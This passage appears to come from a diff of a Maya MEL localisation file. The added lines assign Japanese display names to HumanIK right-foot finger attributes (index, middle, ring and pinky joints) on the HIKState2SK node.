"RightFootIndex4S", "右足人差指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Sx", "右足人差指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Sy", "右足人差指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4Sz", "右足人差指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PGX", "右足人差指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4ROrder", "右足人差指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4SC", "右足人差指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4IS", "右足人差指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4ISx", "右足人差指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4ISy", "右足人差指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4ISz", "右足人差指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PreR", "右足人差指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PreRx", "右足人差指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PreRy", "右足人差指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PreRz", "右足人差指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PostR", "右足人差指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PostRx", "右足人差指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PostRy", "右足人差指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootIndex4PostRz", "右足人差指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1T", "右足中指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Tx", "右足中指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Ty", "右足中指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Tz", "右足中指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1R", "右足中指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Rx", "右足中指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Ry", "右足中指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Rz", "右足中指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1S", "右足中指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Sx", "右足中指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Sy", "右足中指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1Sz", "右足中指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PGX", "右足中指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1ROrder", "右足中指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1SC", "右足中指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1IS", "右足中指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1ISx", "右足中指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1ISy", "右足中指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1ISz", "右足中指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PreR", "右足中指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PreRx", "右足中指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PreRy", "右足中指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PreRz", "右足中指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PostR", "右足中指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PostRx", "右足中指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PostRy", "右足中指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle1PostRz", "右足中指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2T", "右足中指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Tx", "右足中指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Ty", "右足中指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Tz", "右足中指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2R", "右足中指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Rx", "右足中指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Ry", "右足中指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Rz", "右足中指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2S", "右足中指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Sx", "右足中指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Sy", "右足中指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2Sz", "右足中指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PGX", "右足中指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2ROrder", "右足中指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2SC", "右足中指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2IS", "右足中指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2ISx", "右足中指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2ISy", "右足中指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2ISz", "右足中指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PreR", "右足中指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PreRx", "右足中指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PreRy", "右足中指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PreRz", "右足中指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PostR", "右足中指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PostRx", "右足中指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PostRy", "右足中指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle2PostRz", "右足中指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3T", "右足中指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Tx", "右足中指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Ty", "右足中指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Tz", "右足中指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3R", "右足中指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Rx", "右足中指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Ry", "右足中指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Rz", "右足中指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3S", "右足中指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Sx", "右足中指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Sy", "右足中指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3Sz", "右足中指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PGX", "右足中指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3ROrder", "右足中指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3SC", "右足中指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3IS", "右足中指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3ISx", "右足中指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3ISy", "右足中指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3ISz", "右足中指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PreR", "右足中指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PreRx", "右足中指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PreRy", "右足中指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PreRz", "右足中指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PostR", "右足中指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PostRx", "右足中指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PostRy", "右足中指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle3PostRz", "右足中指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4T", "右足中指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Tx", "右足中指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Ty", "右足中指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Tz", "右足中指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4R", "右足中指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Rx", "右足中指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Ry", "右足中指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Rz", "右足中指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4S", "右足中指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Sx", "右足中指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Sy", "右足中指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4Sz", "右足中指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PGX", "右足中指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4ROrder", "右足中指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4SC", "右足中指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4IS", "右足中指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4ISx", "右足中指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4ISy", "右足中指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4ISz", "右足中指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PreR", "右足中指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PreRx", "右足中指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PreRy", "右足中指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PreRz", "右足中指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PostR", "右足中指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PostRx", "右足中指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PostRy", "右足中指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootMiddle4PostRz", "右足中指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1T", "右足薬指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Tx", "右足薬指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Ty", "右足薬指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Tz", "右足薬指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1R", "右足薬指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Rx", "右足薬指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Ry", "右足薬指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Rz", "右足薬指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1S", "右足薬指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Sx", "右足薬指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Sy", "右足薬指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1Sz", "右足薬指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PGX", "右足薬指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1ROrder", "右足薬指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1SC", "右足薬指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1IS", "右足薬指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1ISx", "右足薬指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1ISy", "右足薬指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1ISz", "右足薬指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PreR", "右足薬指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PreRx", "右足薬指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PreRy", "右足薬指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PreRz", "右足薬指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PostR", "右足薬指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PostRx", "右足薬指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PostRy", "右足薬指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing1PostRz", "右足薬指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2T", "右足薬指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Tx", "右足薬指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Ty", "右足薬指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Tz", "右足薬指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2R", "右足薬指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Rx", "右足薬指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Ry", "右足薬指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Rz", "右足薬指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2S", "右足薬指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Sx", "右足薬指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Sy", "右足薬指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2Sz", "右足薬指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PGX", "右足薬指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2ROrder", "右足薬指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2SC", "右足薬指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2IS", "右足薬指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2ISx", "右足薬指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2ISy", "右足薬指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2ISz", "右足薬指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PreR", "右足薬指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PreRx", "右足薬指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PreRy", "右足薬指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PreRz", "右足薬指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PostR", "右足薬指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PostRx", "右足薬指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PostRy", "右足薬指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing2PostRz", "右足薬指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3T", "右足薬指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Tx", "右足薬指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Ty", "右足薬指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Tz", "右足薬指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3R", "右足薬指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Rx", "右足薬指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Ry", "右足薬指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Rz", "右足薬指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3S", "右足薬指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Sx", "右足薬指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Sy", "右足薬指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3Sz", "右足薬指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PGX", "右足薬指 3 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3ROrder", "右足薬指 3 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3SC", "右足薬指 3 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3IS", "右足薬指 3 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3ISx", "右足薬指 3 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3ISy", "右足薬指 3 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3ISz", "右足薬指 3 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PreR", "右足薬指 3 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PreRx", "右足薬指 3 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PreRy", "右足薬指 3 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PreRz", "右足薬指 3 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PostR", "右足薬指 3 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PostRx", "右足薬指 3 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PostRy", "右足薬指 3 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing3PostRz", "右足薬指 3 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4T", "右足薬指 4 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Tx", "右足薬指 4 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Ty", "右足薬指 4 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Tz", "右足薬指 4 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4R", "右足薬指 4 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Rx", "右足薬指 4 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Ry", "右足薬指 4 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Rz", "右足薬指 4 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4S", "右足薬指 4 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Sx", "右足薬指 4 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Sy", "右足薬指 4 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4Sz", "右足薬指 4 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PGX", "右足薬指 4 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4ROrder", "右足薬指 4 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4SC", "右足薬指 4 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4IS", "右足薬指 4 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4ISx", "右足薬指 4 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4ISy", "右足薬指 4 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4ISz", "右足薬指 4 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PreR", "右足薬指 4 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PreRx", "右足薬指 4 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PreRy", "右足薬指 4 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PreRz", "右足薬指 4 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PostR", "右足薬指 4 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PostRx", "右足薬指 4 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PostRy", "右足薬指 4 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootRing4PostRz", "右足薬指 4 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1T", "右足小指 1 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Tx", "右足小指 1 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Ty", "右足小指 1 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Tz", "右足小指 1 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1R", "右足小指 1 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Rx", "右足小指 1 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Ry", "右足小指 1 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Rz", "右足小指 1 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1S", "右足小指 1 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Sx", "右足小指 1 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Sy", "右足小指 1 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1Sz", "右足小指 1 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PGX", "右足小指 1 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1ROrder", "右足小指 1 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1SC", "右足小指 1 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1IS", "右足小指 1 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1ISx", "右足小指 1 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1ISy", "右足小指 1 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1ISz", "右足小指 1 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PreR", "右足小指 1 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PreRx", "右足小指 1 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PreRy", "右足小指 1 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PreRz", "右足小指 1 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PostR", "右足小指 1 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PostRx", "右足小指 1 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PostRy", "右足小指 1 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky1PostRz", "右足小指 1 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2T", "右足小指 2 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Tx", "右足小指 2 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Ty", "右足小指 2 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Tz", "右足小指 2 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2R", "右足小指 2 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Rx", "右足小指 2 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Ry", "右足小指 2 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Rz", "右足小指 2 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2S", "右足小指 2 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Sx", "右足小指 2 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Sy", "右足小指 2 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2Sz", "右足小指 2 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PGX", "右足小指 2 の PGX" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2ROrder", "右足小指 2 の回転順序" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2SC", "右足小指 2 SC" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2IS", "右足小指 2 IS" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2ISx", "右足小指 2 ISx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2ISy", "右足小指 2 ISy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2ISz", "右足小指 2 ISz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PreR", "右足小指 2 のプリR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PreRx", "右足小指 2 のプリRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PreRy", "右足小指 2 のプリRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PreRz", "右足小指 2 のプリRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PostR", "右足小指 2 のポストR" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PostRx", "右足小指 2 のポストRx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PostRy", "右足小指 2 のポストRy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky2PostRz", "右足小指 2 のポストRz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3T", "右足小指 3 T" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Tx", "右足小指 3 Tx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Ty", "右足小指 3 Ty" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Tz", "右足小指 3 Tz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3R", "右足小指 3 R" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Rx", "右足小指 3 Rx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Ry", "右足小指 3 Ry" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Rz", "右足小指 3 Rz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3S", "右足小指 3 S" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Sx", "右足小指 3 Sx" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Sy", "右足小指 3 Sy" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3Sz", "右足小指 3 Sz" ); +setAttrNiceNameResource( "HIKState2SK", "RightFootPinky3PGX", "右足小指 3 の PGX" ); 